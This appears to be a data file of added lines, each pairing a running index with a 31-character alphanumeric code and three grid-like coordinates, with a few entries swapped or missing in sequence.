+3974,ZUG9Q19V3GA6BT5KFCE0Z3Z6GP7SCYK=,63,0,5 +3975,1ZZUV14NGXP8VKAX25S7UCG8A33TZQO=,63,0,6 +3976,69NAB1ABT59E69HDBOLTBJ41RQF15XO=,63,0,7 +3977,KICSAEU4OLEFEZ3NDKNMFH652H5LECE=,63,1,0 +3978,BTTCWN9D1RMBFZE4EMIE50KTN90SX8N=,63,1,1 +3979,U0ZWBDWW1ZQ5BFVOO4P9EKZER5YOSOO=,63,1,2 +3980,N6I4W8PGJ6K20OUIBQC2KA7RDNBXXJB=,63,1,3 +3981,0N1I1263DMOTN3XFXGBA8AFIU353A02=,63,1,4 +3982,PXKHSWB7PJWPUOQMY4IXV059M0BJD1S=,63,1,5 +3983,P8UPPY2HBI5Y67UDYBUXA12X4C7A8T0=,63,1,6 +3984,TGRG3OS8FNQJ5UHD5R8PT9YQD9U6SWD=,63,1,7 +3985,3XMRWL2O00UHWGZ80QR9VYSID5W0IKV=,63,2,0 +3986,JQUPHEBFZPKA92G4SJ0XU0BLMA9OF4X=,63,2,1 +3987,LBL0KB0UCFDQ8LPMWYC707O15VFY6ZN=,63,2,2 +3988,VV5K7MD8MNS635C9ZXVVXIRVDND5HZK=,63,2,3 +3989,DOE93MBLXN87CDKEA0DECTAVSJHF5IO=,63,2,4 +3990,14PFYW0Z9XPZBUBQCMCEKOL3Q2IZE2Q=,63,2,5 +3991,IZ67DV6JT4B0038NQ62Y0LZ98WZT93W=,63,2,6 +3992,KU8OI8YZL3RKGBXP71GR30SQ3TYNAF3=,63,2,7 +3993,YBZL5REXL8XM3VGVOZWR2MYNSZ7R0WJ=,63,3,0 +3994,0P35F7T4UOKDYF2NKQYV1DY2Q5NL4Q9=,63,3,1 +3995,HPUT0A4OLL3TU56HOVM58FEFHZPA72K=,63,3,2 +3996,OND9XHTZ9YY57HHX3TI08LUHBCM0S14=,63,3,3 +3997,S06DG04GBVVYEPQZYCTEG38HT2PLZT8=,63,3,4 +3998,D76B0BXTEA0BREHNK06O5F8CNYZLRTV=,63,3,5 +3999,AWQAVOJRG0MNM6PFN6RJ7F8MDJ4LLRY=,63,3,6 +4000,V4XVA04ZQ2LLGPSHTRUAZML198INL0Y=,63,3,7 +4001,L6XLEZKHYI4PQJUEVTSEU781M2HDCKS=,63,4,0 +4002,4I5JRU0B4OCFSBG4DX5SMFWPBNST2L9=,63,4,1 +4003,T1D0B232NWWAH16CHC1BKROY02H88JW=,63,4,2 +4004,3EMTZ2Y2YE86HGMJHPO3PKB2Q55AXL2=,63,4,3 +4005,R1AIJJXBBBHRQMGVXML13450BKY0C3Y=,63,4,4 +4006,Z9HFIZ1QCZRQSGU3FGX1N5032ACGI3N=,63,4,5 +4007,D1JTEPA73POKR4OKGCBO1F8ZDWFQS5R=,63,4,6 +4008,MMQC7RLQIZ9E53VRL9Y7J7FTHRZ17OE=,63,4,7 +4009,9LZ3JTDLZJIYBIPAEWBLIS3LEPSTUQW=,63,5,0 +4010,OX376T96XIVXTFI5B2JS30KT9A68R1C=,63,5,1 +4011,8FKVMA5AT9GVVMSMTG3NPWPUXUU6641=,63,5,2 +4012,VFXDWAY4O8YB3V3RS6TV6TDU138P3GG=,63,5,3 +4013,EFMYNS8OP3FJPPWO53PUFU5LVDIAU7D=,63,5,4 +4014,AN3RKHPPWX20KCED16PQ71TCHMF1UCE=,63,5,5 +4015,POWDZS249Y8HOLORT5VASLQUT15SMHL=,63,5,6 +4016,8QPYC4ENH8EVCKIM6763V4EWVFW2FD7=,63,5,7 +4017,EE6NTS6P9GR5ZDY8VF3M90YAG2GBDF2=,63,6,0 +4018,IV3QIAFF375VJ1EYCYLSS5XD8S8651Z=,63,6,1 +4019,SJXGNOOSLO9EXS1OUV1ORGWDZJNTJA4=,63,6,2 +4020,HP5AC4Z3CUSSV9EIJP9GC4DQG5LOD0Z=,63,6,3 +4021,Y4RPY0D7N0QUUQDTBHY8PYTC19XU2JE=,63,6,4 +4022,VY2SQ6DS8MK3JCVA5HSTHXZG4TJ7AQC=,63,6,5 +4023,H286ZWWWE6Y6R8GPC09J4VI32ASWGAV=,63,6,6 +4024,569APKZ1AJ2LIYXW6YIUF30179PAYGR=,63,6,7 +4025,UTJW1S910863WEXR6JH6OLSBIYGFXRJ=,63,7,0 +4026,I9RD2HPNR4SCG8FDUDM6KH8ZR66ACLH=,63,7,1 +4027,W9LTXV958ZKINWV3PXTYC0949O2SNO7=,63,7,2 +4028,6OACGXMJMK80RTYHUPZ0BR8QRK1Z8M1=,63,7,3 +4029,MFIO3V51HIY2KJHRHDCSIOXPA6OLGA6=,63,7,4 +4030,9SIOA04WCSVHDAS2G9X33N9KGTLS5KC=,63,7,5 +4031,EQCBBQKM9IZCI1YPLT1O3PGBHQTJLO3=,63,7,6 +4032,LKVXUEX2MFR6SWZWMKGZGITUDQC5QI9=,63,7,7 +4033,D9IXMCP3CA8RBVYTAPG0XJUF4SRTK34=,64,0,0 +4034,ZR7XOOQUS5ZPGIGT31SJJVYB0OGE3V4=,64,0,1 +4035,FBGAC5K3FPNVGX60Q8QU5KZ9PR44CDE=,64,0,2 +4036,28BUAFNPB153STCNQJ9WRKZ7LE4VNRM=,64,0,3 +4037,V423M14HUQP17AS0N1H25BZC6SUU1AQ=,64,0,4 +4038,ITEOSU1F3DFEDE0CJ8DF7GSY0UUUAB3=,64,0,5 +4039,XZ0BS1QHDUAPC6ED0KKQNJZ45EOM055=,64,0,6 +4040,BMUSQP6TRUPX5GBM5LPRM3D1AE23FMK=,64,0,7 +4041,WA3B1APSD6NI02RRNMU61U8O6WCJ66E=,64,1,0 +4042,25FUFUBUF8J9JHR7VUA0TEKAH9W9K5S=,64,1,1 +4043,K4Z49UG3I77XD7F7I85PF0Z9ESC3O6Z=,64,1,2 +4044,CJLRQIWKZK81OG3BB9A3KCXY8JLA5EX=,64,1,3 +4045,F4RA5OFNCI8ZRF9BG88GOEAY1TRMFAU=,64,1,4 +4046,7XWHWWLR64BRKLD375EDDAQFJ6TXUYG=,64,1,5 +4047,RSX4C2D2SR3OKC82PWFKL6HUQDYARM9=,64,1,6 +4048,QIP3C06PN0XIZJSMLZWW83BFPL2OWFE=,64,1,7 +4049,UQSHV8BU6B38QP40QWML7IEFVJ4XSON=,64,2,0 +4050,C023JKVJWFOH8JYU52P8ZRWHVE1294F=,64,2,1 +4051,BM9RT90LSVAZATRLHXX1Q0XSY0DM0DU=,64,2,2 +4052,A48JP8I29WZJ2Y8BG7NA7K3D8T72A25=,64,2,3 +4053,GIWSVLJHDBBD9GWDA0QCBCOCO5J0TGI=,64,2,4 +4054,8TXY4LFYEFUMU1YIMOES47SINLYF2CM=,64,2,5 +4055,V5WWNDD3CE9L7Z5I4M9W9QS2VLQKQR7=,64,2,6 +4499,N5ZIJQQOGQMDXU7VFU88QQINNZNI1RD=,71,2,2 +4057,G942TZMW4U8XFVK0QKCE8UMAW8ZIIVS=,64,3,0 +4058,C8WPGG2B75Q4WISILXRH1IANT1RSX16=,64,3,1 +4059,MHN444ZLZJSKCALR7UPZ7JFEAGMQ4VK=,64,3,2 +4060,LUTIXJZL53Z47RNWL16ZJ2S3W6M04XB=,64,3,3 +4061,VNR5UYCJW8WALJD9Q2NIR6RY0ZY69JH=,64,3,4 +4062,XBYHMQY81KK78CKRTER114U6VPJ77QU=,64,3,5 +4063,YFHXBAWAD8YFYB36FNEKNPXXRXCPZ5E=,64,3,6 +4064,CJLNQF1TJX070YXOH9MO1S65P4IQ3BN=,64,3,7 +4065,JOXXGXP8UQID0PH14A3H6E7BJGM6OVC=,64,4,0 +4066,1SY7B8QEQDOKUYQLH2WLCTJAOQZ4WIU=,64,4,1 +4067,VRW0VAXN74XLC7UVVAQ2CJTH20VBWZ9=,64,4,2 +4068,SDFKX9FXB5FHE9YTGUTOC99WU90FJM6=,64,4,3 +4069,XPGU78M6TMZCI53O1JK3UWWH8RI08CW=,64,4,4 +4070,9SL4LBQZYC3TY6SBHBV3527N9OO87G8=,64,4,5 +4071,AEZOENHRKPOD9OIVVN39BFYB0TKOQ4U=,64,4,6 +4072,PONOML0IHILK587O96JHUGY69NRJU3Q=,64,4,7 +4073,600YCKZ9735CVKPDHLVCZYBCS6HZVS4=,64,5,0 +4074,8ZU0JHW01G58NSPYO6W0O8TD6SBPMSH=,64,5,1 +4075,2O58Y61DY9JB30WSUORHEQOMRF9HPB1=,64,5,2 +4076,344NCK9XXUBGN1T0EGUSVOH8QSOGJJR=,64,5,3 +4077,FNOF32ZRJ9L0PQU531Y48TK44JZ0CWM=,64,5,4 +4078,QBA8D9NJI0MSOFZTW0TRIGSRGDV9YN3=,64,5,5 +4079,DBJ22258KBU7GTZAQBHNKDVJ2TE1M06=,64,5,6 +4080,425089WBDWPF51RI039587Y4YN98ZL9=,64,5,7 +4081,37GV05MO1AV8GABAGRXLOGNTHBQU8Y4=,64,6,0 +4082,LNAXMJ64NZ1EOYTW7BW8DHRTSUVDP8G=,64,6,1 +4083,IMENYHC9T259HGTC152IHUW1NGLL300=,64,6,2 +4084,FYTJ4RIX7IM9O5L7YSU28XNS9C9V67W=,64,6,3 +4085,F4H6T8XFJCA06XWMR1LC7XRQAY0V53K=,64,6,4 +4086,U3WU8D3XZ7PHJAWZ3MVEFXQ17HXYLB0=,64,6,5 +4087,65ISTVYQVM2WQLH793C8N3WCR04EONN=,64,6,6 +4088,OBDZD6WGDC5C1BBC76DJ3ETQ6ISP08X=,64,6,7 +4089,165RDC79BZESH9VVW4YGTP1JV9YMF64=,64,7,0 +4090,5B8HQEU6WMOR1AATGYIAX50XEDU52MO=,64,7,1 +4091,CF4MOJQDK4XV5NLUFPF80GSLRFNR7BU=,64,7,2 +4092,CA3ULF4DOOZW3TMTD01532M99IARRUJ=,64,7,3 +4093,4M9DDAS6Z6Y74U5X3QQPG756DCVJVF7=,64,7,4 +4094,JY6WBYSPCUGGTZP3NWAFD9HGV5Y2S0K=,64,7,5 +4095,PWQFXHELSWBMLR27AQBR3TWEI0G6WEW=,64,7,6 +4096,2WG0YPUD8WT8UW46CIWMEJU1BY3I5XE=,64,7,7 +4097,WQIJADCCSP1QROYR716Y51S8CPWNUIF=,65,0,0 +4098,33DP9JEM3YZDEP2TGSFSWB8SB8IS4UF=,65,0,1 +4099,NI4TXLHD3KU5BLOT4VO0NG35EFSIU15=,65,0,2 +4100,I7MXESD124SAXZCDU0CWNAKQRORVL8K=,65,0,3 +4101,5WS0SRYCWT0XMVJ3XV1HXG122Q7QT2A=,65,0,4 +4102,9PVPGJKRG34UXOFLYDDWCJXFKT3ODXL=,65,0,5 +4103,EDBMDHQM30EOFUHDNCFCMMX7GRBCA7C=,65,0,6 +4104,F909EDKP5YE7QV9THT881XYEJV5B4LM=,65,0,7 +4105,TAEWHTZ2OR8Q2DGW96L146NKGHITJJ8=,65,1,0 +4106,I4P063ZBTHGRBC6YJKOE97293S6N92T=,65,1,1 +4107,DNVKIMFSJ3EJHZ201PXCDR3J79SFH02=,65,1,2 +4108,7EPS9D6HE9R752WJCMRAWBAF09RKAU7=,65,1,3 +4109,L5V962F5NGB1SINAA1EAICF83NS5MTY=,65,1,4 +4110,JTS4M1JRTAA6SGUCKDKGMCX7F0FAPG0=,65,1,5 +4111,BJ1QR33RA3X9JVGGLC9F08NWVLSRDFW=,65,1,6 +4112,RC8N79RHZXJKZGBSO8QMSZGDZ26QEZM=,65,1,7 +4113,0IS3KY4P9ZM3YIAAV00YRF593KCSY4H=,65,2,0 +4114,YEG6J8U3PGY2ONHIDZ6BQ9MEJ382EW7=,65,2,1 +4115,153YP2TTYLTZCFLR468WOIMA8Q454MG=,65,2,2 +4116,4E655BFD9452ZGQ3Z6J9GT8CPFPUP3L=,65,2,3 +4117,H9O6OV52P6K72S5SG1HEWJHI7DYR87U=,65,2,4 +4118,57R2S4MRD3KK04M7QMTHGW23MSWZ0NJ=,65,2,5 +4119,OGTU27IUU35XBUL10TTGY1860X9PSNN=,65,2,6 +4500,OZEGC7804QR1ROJOCHPAABLRUUXZ3G0=,71,2,3 +4121,X28WUE6LM12PHB34FGE6NDIGZ2J5DNQ=,65,3,0 +4122,8ANTK27WY2TXYQ77OUGGBT6LYIJP7FO=,65,3,1 +4123,BKHRSV4E5SDDLHP9RXPXHXIKND4AUAN=,65,3,2 +4124,P97FQKTIDEAW3TMG380594HTSUZ9XTR=,65,3,3 +4125,3QORYVCO017SAKCC13HWVJENC9GJSZV=,65,3,4 +4126,9GA0IBSZ98Q9MMPUFO1VB47EXTGLCL4=,65,3,5 +4127,KZL1S9Z2K4HAC1YCRBFT5J30NPIOQ7T=,65,3,6 +4128,UF1N6TXQWGLL0VOWRZ1AB800RGW6XWC=,65,3,7 +4129,SK6CZT6MY7QQV1FMDEP3FKVA86XVUND=,65,4,0 +4130,HIUN040PZELNGUKYIMF17XTWUFLWA4G=,65,4,1 +4131,L3RLSOW8C95KJO86QZEPW15AJ7WJZP9=,65,4,2 +4132,VNPXX86Y7JT8CT3O2LGVBFYVRHSLXIW=,65,4,3 +4133,JW2D8H9DCH6KZSH1LJFJQQP8SJN62TH=,65,4,4 +4134,3X7R6EMI3WLXTY1XQQA4M4YSWV9QFP0=,65,4,5 +4135,5D7OM95L35SG2EV4BGP6IO8UGUQKMJF=,65,4,6 +4136,R50K4OWJA1S4VQ8CDBCVD54BCRGDHAX=,65,4,7 +4137,JP0JENPAWXFGD5U6JNGUL2VSQ9LASQN=,65,5,0 +4138,WQ3E0X06L1ENHLFH3FJWC8H4GIXO3MQ=,65,5,1 +4139,CUJJAO0S6YNAYIQ11WAG3C4EINM6OUK=,65,5,2 +4140,0OKH4CWQ1OTWR8EL2B8FO3CGHCKYYNU=,65,5,3 +4141,O83GBQ5F0NFOIUS4KVO40PLWA1AE0U1=,65,5,4 +4142,KJALMDAD5QBTDIX3FC1FV0QH0L0EFCQ=,65,5,5 +4143,VQFKXXTWUY95T2HXHZXCP01SOP6NVW9=,65,5,6 +4144,CBD2M6TZ95TLVCWK2WW70KHBN8SDEJW=,65,5,7 +4145,CL2W30WO0J7AWL8P0T22FXEMAMK560V=,65,6,0 +4146,2YZSGWGHAQS3WAHQHDLQTEQTJ84ND19=,65,6,1 +4147,ZCMLDCYF3C43Y5TNBR4YVBNMO0UW7JI=,65,6,2 +4148,E5C5JH2WKHCCYJSMWM08N0QE2ZKYCIQ=,65,6,3 +4149,9O56IXMU24GZ0HPY7KGR3PTDR1457LF=,65,6,4 +4150,0UAE1MULTAXTY2BEY5074UG6LJ3LVKS=,65,6,5 +4151,G4RFWFOF0PQHK5JCA6XLP47ADTBL8DI=,65,6,6 +4152,XR5PEMUNIDVL5OKWQTKXAZZUYID1JVF=,65,6,7 +4153,58XP04V785V7S3FLZ69PAAZL83LSBN5=,65,7,0 +4154,8I1M4OO7AIQZH7SR4J2CYQEJ8YW94QI=,65,7,1 +4155,2J1J8IBX2FKWFE6HKAF3L8CESOCOLAG=,65,7,2 +4156,37P6W5AJ6A9111HBS8BJT2EM1WRXAH0=,65,7,3 +4157,I10F5FPIIF4WNQLICI2KWAJRLNS6RDS=,65,7,4 +4158,2GVK1FLOUUQLI6HUK3RC011ANMLM15G=,65,7,5 +4159,CTH4PP8TUXZ4P637TLEEVXXF289LTWA=,65,7,6 +4160,7QVT1LWRNQ4K2W0N4LGGQIK429BZIUX=,65,7,7 +4161,RVJATOYZOYM8X8SXO99MUOH1ADUS957=,66,0,0 +4162,P1F07V0QVONAFP8W9JOXMG9O4K35NFB=,66,0,1 +4163,BPC3YCLXFJ8WEN9UK7PI24XCL39DIIN=,66,0,2 +4164,Q7TY3C5MEYGEXC5UIX06FX63U3K561A=,66,0,3 +4165,V3MMKUAOL9NJCARV3QQ4YQORRGFYPZJ=,66,0,4 +4166,D892OJNFHQEK78WAR83HR66IFEPWPRG=,66,0,5 +4167,VW71O6BAEB9QB8643OF0OFBDJDJCBKA=,66,0,6 +4168,LQMAAOKTVNRY3JD7881X8HBEOT4N82V=,66,0,7 +4169,VTNEEN5WH5BMJQEOE2PGFB5DJU8GL9S=,66,1,0 +4170,UE8ZH8QXB001DT79QW9W3G4VYYJRA4G=,66,1,1 +4171,VRZS0ZIVE6821A2MTYGMCWGS6CEI6KU=,66,1,2 +4172,QGJ2383F9M8EVD3ZHOR3WPND3XAIPGZ=,66,1,3 +4173,8RR6H3V7YOR23HAM2Y4N0RG9SPGV293=,66,1,4 +4174,OP8X5M2UNTQEDGYT0J1SYXC5T95NJ2L=,66,1,5 +4175,FNPET3F6NWEUMAAIF6FZ17FPZGTP8B6=,66,1,6 +4176,4PYA32YDMJ25O7QGHA90I71GYRQ9OQP=,66,1,7 +4177,N5ZPZ0WVENUOSF23C6L0EVY8QSG4BTY=,66,2,0 +4178,S86NZSUA6SYHORTFI9B8DN90SBCXQM0=,66,2,1 +4179,CTUBM026BXTVR08XKHVXIC1SHBSNCR4=,66,2,2 +4180,PA6GDI8I36KAWH5714UZ14EXG8ANM5N=,66,2,3 +4181,D0H74Y063XMV64WO16WD080R8HX99JR=,66,2,4 +4182,Q610PZFOPTC8QWLS8UFUXFUUIBDSPGG=,66,2,5 +4183,SQAG0ZWR9M5A0X2SO9OUBGCQJ4UM27R=,66,2,6 +4184,WJ1GDWI5ZPY4LEJT5W8EBBQU5ECU90C=,66,2,7 +4185,NZHCIKPKVYJXF1N5FXH5U6K7OYJJP7O=,66,3,0 +4186,MHBPJ84AO0GCA8PQ4BC61E8WCZJE8I8=,66,3,1 +4187,B1Q8PL3X4OGDW9ZP3AESDLIOUDSWWPW=,66,3,2 +4188,ZSNJDEGU5IAKDU9KD8COXHT80WO7EMZ=,66,3,3 +4189,F1UIWMZFUIKR4H62URDEXTY37SVJNTG=,66,3,4 +4190,XXGV6X8K7QNXSO4L9G2SAZ3DECGIAOH=,66,3,5 +4191,2XUXMEVOOV78X5NR5QKYK5P340HEPF0=,66,3,6 +4192,Y66K3RSKAB7OBJPFJ5YVQ631G9M16X8=,66,3,7 +4193,RO9N1N58FD1F71ELSWA0Q34OQFG9T8H=,66,4,0 +4194,A0MCWM86YLO2V0I1FS2NPT2D5KMN62D=,66,4,1 +4195,Z4MJ3FRI945W66BF75F036RQ1DQZKH0=,66,4,2 +4196,FFRD53T7OWPBII5J43LZIPMX5DRPD7Z=,66,4,3 +4197,ZZAVUGHU0UM94XYYDKR6OO1I8DT5YMP=,66,4,4 +4198,JAXCF4FDEZX2C67DUI3DKV8EF4W5D2G=,66,4,5 +4199,4IIWQYHYZH9BQMINQK11T3JAQG77A0S=,66,4,6 +4200,U6SBFHW9DWTY6XBKAAP9NS6808VJI7N=,66,4,7 +4201,92LFWDS2N4QQWKA6FN5JT2PQDGCZIXY=,66,5,0 +4202,11T8GS5UFIUECMZ4KHM971LJOQAAZN5=,66,5,1 +4203,M2G8AD24FJB8XR4FYAO3NJS3GLBIK13=,66,5,2 +4204,CHQB7P7GHXEUCCIPLL207ZXNXKBDICB=,66,5,3 +4205,7M4DLQSLRPYJW2GSN40SJ8C6J9V0WFP=,66,5,4 +4208,YLK7U619P1BTREEQ4WMAGH0LVUTVHXO=,66,5,7 +4209,D3M3RM8C1R0SHEUXSUCU4ZO10BZVTNW=,66,6,0 +4210,WHHFXBE54XYZBDAAXS9YX0SYDNBW9H0=,66,6,1 +4211,3XO8C8MRVRUW0DYS9SWDEMXAS2OGXDU=,66,6,2 +4212,P6IG0CKD6NNPR8NKZIKIYKDFTYMSHBW=,66,6,3 +4213,DWZYVV5YALQ35DPWBZWLQ30DYMT0BOA=,66,6,4 +4214,4EWMUKUAAEL5JLP7BD40N3NHIIOBW6Q=,66,6,5 +4215,3PB0A73KLHBPY0G0UEOXX3OFHNJVJOP=,66,6,6 +4216,4CE93BG3J4GVA7VX763H5VK9S6YZ9DR=,66,6,7 +4217,KWVJHOJJMGM7MW6IS6R29SXKSSPWK14=,66,7,0 +4218,DSI5B7H3PRYQZ6836PR32KY0NLU7P1D=,66,7,1 +4219,YIHVCEDOQBGMI5NTXNRPR5U49RPSSZM=,66,7,2 +4220,DPED9SV6EHSEBWL209ADVGLUHE4FKPJ=,66,7,3 +4221,1051DQK91FXLDX21ODBLZR68JXD7L9S=,66,7,4 +4222,W2E4KG9J2CNJOXWHHKCQYE6PIQU4K5P=,66,7,5 +4223,UXVLDPED1LVB6D7RJWNQ2GLFPLL6S4C=,66,7,6 +4224,IOKZWOPK6389V0ORS3T8VXB9OJJHJIO=,66,7,7 +4225,51PSTKZ2APPIVQBAVPLN1Q7FT0VMH2G=,67,0,0 +4226,RLW4E0CNTVW25IIDP0RNQJU34M6ENWV=,67,0,1 +4227,AEBDFB4LXJ8H2R540E1Y7EEH3OMZUC0=,67,0,2 +4228,BL11JFPP2OAQCPWICDIW98QN88BZWRK=,67,0,3 +4229,KRZU0CAPUL2074VZX2A6OT766GMQD19=,67,0,4 +4230,J8I1AH9MFXI0A9VJBWSEUUCPESDG3RX=,67,0,5 +4231,Q5JGCPLMVE1P67K6JAYJDKZJAGC9LWD=,67,0,6 +4232,523GSF978T2HM6OG9W679LB6PVK90L0=,67,0,7 +4233,Y17AUFB4WFNQOB2M0RG127AXU1QYC27=,67,1,0 +4234,HP4YE9HNOM1EWT9CPPEPKUTPSTWJSAR=,67,1,1 +4235,SEE61USXH1LR4MSOYJWBIC91YDLAXDC=,67,1,2 +4236,PJF2TVNRU4YGBSLM44SBIE8RAXE9LT0=,67,1,3 +4237,M5F6ODXC3EZAP303ZLA2V0F6X8U7B8L=,67,1,4 +4238,R75M6FYPZ1K7CZLO5O4G5TGIIINUF9C=,67,1,5 +4239,QQ7ANDDTGFDTU4RRUELU0I4UKECVRUS=,67,1,6 +4240,N9NQC9467NMQX02ZHQBQVAW68UWY0M2=,67,1,7 +4241,2D1HZJKT660M8ZQS7EBZ3NOOQ6XIVQX=,67,2,0 +4242,PSG8SLA1ZMPGZFT4D0T2UT4UIU8YBNK=,67,2,1 +4243,CAGVON2JRJCUT7IN0D1UMTYMOPBZH2Q=,67,2,2 +4244,D3PC70S40MM2VHY2SCBVQ2XEY5PZQ6A=,67,2,3 +4245,MQ44RLVZFQCK3LGI5YU0CDPWS6MIXIY=,67,2,4 +4246,QI4GVC83L0VKMIFDKW8KIIUU110IPUB=,67,2,5 +4247,7IL5DUW6DNS4DJE4UVQ4TXFV3DTKMAF=,67,2,6 +4248,IGV656UZYKC8T9EEESPHWIW02XMDPKQ=,67,2,7 +4249,1UGTOEZDR1WBRZZ987XJ8U85VNKUPVD=,67,3,0 +4250,UBDM7CLVRPUIMSEWKT0RU7LIW7YVLZ4=,67,3,1 +4251,105YRPAULIK65GQBS6VKQ57X716BWDC=,67,3,2 +4252,MC5FTEFUJ3WPUE8YEJNVOZUC5F1A9J9=,67,3,3 +4253,I054SQY8NGUPH359528FW2J8RDW2VM7=,67,3,4 +4254,OWX9V5UY60N65M2BGEBASYLHWR6X798=,67,3,5 +4255,9AXGA4TP1M5DTXGPEH0GTRGF21YIDRZ=,67,3,6 +4256,AYHEJNJ65Z5UUB978ZC7HZL221U6OVP=,67,3,7 +4257,P9W7PMGIEPM5ZJIZ1MHEE8MM6P5ZKUW=,67,4,0 +4258,U28U2KWQ2LPXCKMTJGUZVEDFJONU59H=,67,4,1 +4259,46G59JPLGGXISB3B9D30MYOF3PIBKHI=,67,4,2 +4260,CXZFMQ6XHIA9TL6CPK48F1BO5O60AMY=,67,4,3 +4261,ROEEI3FJDYPQRLUX2WA571JHPKORASB=,67,4,4 +4262,E4AQPB2O1R0WFMNPMFR6A26K5G7CJT8=,67,4,5 +4263,63H9UUYUUZ4MGYVUWKVZS2JHXUGZI2V=,67,4,6 +4264,L8K0SNJ6LOTICREN93LHVOWIEQZYAJV=,67,4,7 +4265,4DMP8AXNAA2SC8MZZ5B3LHPW5NRLJXP=,67,5,0 +4266,MNZQJ0TJKUEQJTVQT3QWP9XG1UXVXZE=,67,5,1 +4267,2QUXFO1GFS0I702J5BDJJZ2ZC1KX09E=,67,5,2 +4268,XYXD3GOBFIDUHOOF50L4324FS50E6UG=,67,5,3 +4269,I3F2MSD8DXIUUEAXXM34B4CB9CVQS5W=,67,5,4 +4272,AJRJVBR0PH1QVVE31WE8ZQST4DC646D=,67,5,7 +4273,6JID0NKGA09H8SC7SATX0HTSFAKM4MI=,67,6,0 +4274,Z3WHIFL3GESJKRPWMZ9VYQ1OGWGORY0=,67,6,1 +4275,9TSROCFAKD459GIXPS8MV6NETYO29LY=,67,6,2 +4276,N5B3BZ16BY6KHNKX5M3MGN3BGB3CST8=,67,6,3 +4277,FGX7GALB7F7T1YN8Q1KLGZPGG53E3VJ=,67,6,4 +4278,36JBZ560W07OFJFYDZQO7EKIP9MJG14=,67,6,5 +4279,722QDLHIJTJ4GUR5T5W46KHFP243LCR=,67,6,6 +4280,ZWW7LHKOR0697JGJRA0L4OPBYWG0N5S=,67,6,7 +4281,2J4BMNU8JQKV8FH7LIXZ9JB84A9CPY4=,67,7,0 +4282,GE40NCNSI5T00F868WG8S0DGV91CG7C=,67,7,1 +4283,9E87CKEYKF6ITAH5E3Z98HBSLFBA2IM=,67,7,2 +4284,C0VMAIFXWCPZU9RTGDUF63X0ZJKFJA0=,67,7,3 +4285,80OWORV0UEXIODDGLR7XDZV6VAL1EKZ=,67,7,4 +4286,MW3SJ0MQ7HL848C8CUZ7K75ZN593FQL=,67,7,5 +4287,KMWEUPEOM9V1SN873LIOZUJZGV13ZJI=,67,7,6 +4288,BRGJYXTL1S5ETYSBQ894YD1E63JL0KH=,67,7,7 +4289,0PSSNB2G0MBMT5P2XRJAH4QOCT8KHP4=,68,0,0 +4290,IW4K5W9OW5UTSNB0LWJP4NCF510KDEU=,68,0,1 +4291,CTVM6VHVO1YDRXRBP4FV1VQ5PZ3XMT3=,68,0,2 +4292,K8CVHSVHBTPFWGUBDG3KJR0SI26QCG5=,68,0,3 +4293,DGTD2ZMNENUU2EJ095YW2ZBRTUJZ45Y=,68,0,4 +4294,PFAEMUM6YJAOK69Z4B48CCUEQ315EX5=,68,0,5 +4295,BXKJXZLLFLJ8QHISCQWMI5GRXSQV9H9=,68,0,6 +4296,FMR50TX6358MSRKUEFV6MVSZBX9YKI0=,68,0,7 +4297,AZ7XYIDTUPX5MPF0M9HD9RUXNT9PA9B=,68,1,0 +4298,7CYEBO2F4YEWT68AFXEMSX81F0DADL1=,68,1,1 +4299,W9MBGN6CXHRU1XOI882PE6XI04WWYQ9=,68,1,2 +4300,OBIIRBBK1HEKWLHWENSIOSD0349ZO9G=,68,1,3 +4301,9FXTOFWSRIOCIXSX128O6YZ1F7TR3O1=,68,1,4 +4302,FD5KNB2S39KA4RDCGF8P2ZWI7MGXKWK=,68,1,5 +4303,7D5RQBAPAVRAMTEP4I4JLWHAJ77YDRV=,68,1,6 +4304,1T3X2F98K2JOI602SFLZ5PEEC784JSF=,68,1,7 +4305,H9S0Y491UQESHLOACTSKG8F8S45OYEC=,68,2,0 +4306,6CU28VCNXPC7VDH9R2CJHXPI1N29TJN=,68,2,1 +4307,AHDVJKOU3S9J4YH4WD2EE3EB0W1VXDU=,68,2,2 +4308,XEO18UC08P9K7SD9TS9M0XR3BJTQFL1=,68,2,3 +4309,DXZUS0EEY6MWF7AWDQTBLKLZ1PQY5L0=,68,2,4 +4310,69V4KY2T4EWYPH5N5WH0QUUBG9N3B3N=,68,2,5 +4311,PC3SBPORZWVICDE33SSWIXKE0B7R696=,68,2,6 +4312,NQ2HU4K5KIICA9GU7WB1FHAZ44ZM4SH=,68,2,7 +4313,B9VKNWRW4AHCJCHDJII53W0TYAG76M1=,68,3,0 +4314,K0YWFH9IHPWJ1R5TKD3BI3KE4CEPE3R=,68,3,1 +4315,OFEQ8FT5OEZ5IJRIK2EGLKJY47ZZGNT=,68,3,2 +4316,ZRHYEJQDZM7CW7N588S2ZCA1SFWCWL0=,68,3,3 +4317,D45NLLHR7YHEHAH4EIJNB3PRX99BW77=,68,3,4 +4318,T7QF6ES55094XN0JY1YK1P7EX00E4I8=,68,3,5 +4319,HXHCHXNT7G98USIONEWH3A8S0NEBY94=,68,3,6 +4320,REOJZ28B4EQ2X1PTZKX388ENZ9IZ007=,68,3,7 +4321,84SP3KRZB6UAQTXQ0395OHE2DWI2P6V=,68,4,0 +4322,FO36D3ZNFUCJYIWEM7ZV6OW79HZI04A=,68,4,1 +4323,S081V5MAZ5DTJMU8DHWFX9YBTCJNBSS=,68,4,2 +4324,2HJPZX280932L1TE10O1OKD03BPFN06=,68,4,3 +4325,PD2V1287BGMBUA9L79UE1VVGJSN8OGG=,68,4,4 +4326,2CY6N06SG0CWTXS2Q7UHZS99WQZBWCN=,68,4,5 +4327,WR5HHKL3MA0HOXOYOS3N1EM6RQOPECS=,68,4,6 +4328,H3IGJWN4BK0UN07DTJPWQ6IMCXLCVWY=,68,4,7 +4329,IXE8VY7GOK0GR27WM29D1KD1Q5M8095=,68,5,0 +4330,AJDLYZ933853VMIM0QH7NU16AHXX4VO=,68,5,1 +4331,Q22DYOO1FHSJIDANJDR9ABOQJQL61DU=,68,5,2 +4332,G1JZUCXODKEUZO7NU3ZNZ3BZTL3L478=,68,5,3 +4333,HY3UGJ4PAM3DXJ94C1QC2NHQG7FAN86=,68,5,4 +4334,GS3OX8FDTR9ZC8R3SKZI72A0DGXB7VK=,68,5,5 +4335,TZRWKENN9EUW4WC65GQ32AMX9TUI0XV=,68,5,6 +4336,LXPM73EME74CKBWEGC3PGA85ZX0DQMQ=,68,5,7 +4337,1KOARZB7W37K7T1RH2HZ796SOZR0WK0=,68,6,0 +4338,1S8G1EQQIVE3UCJ24XSW8OWQ1LPK6HA=,68,6,1 +4339,O66WSBFADBQ4OUHZK975RKNWXXGI4DZ=,68,6,2 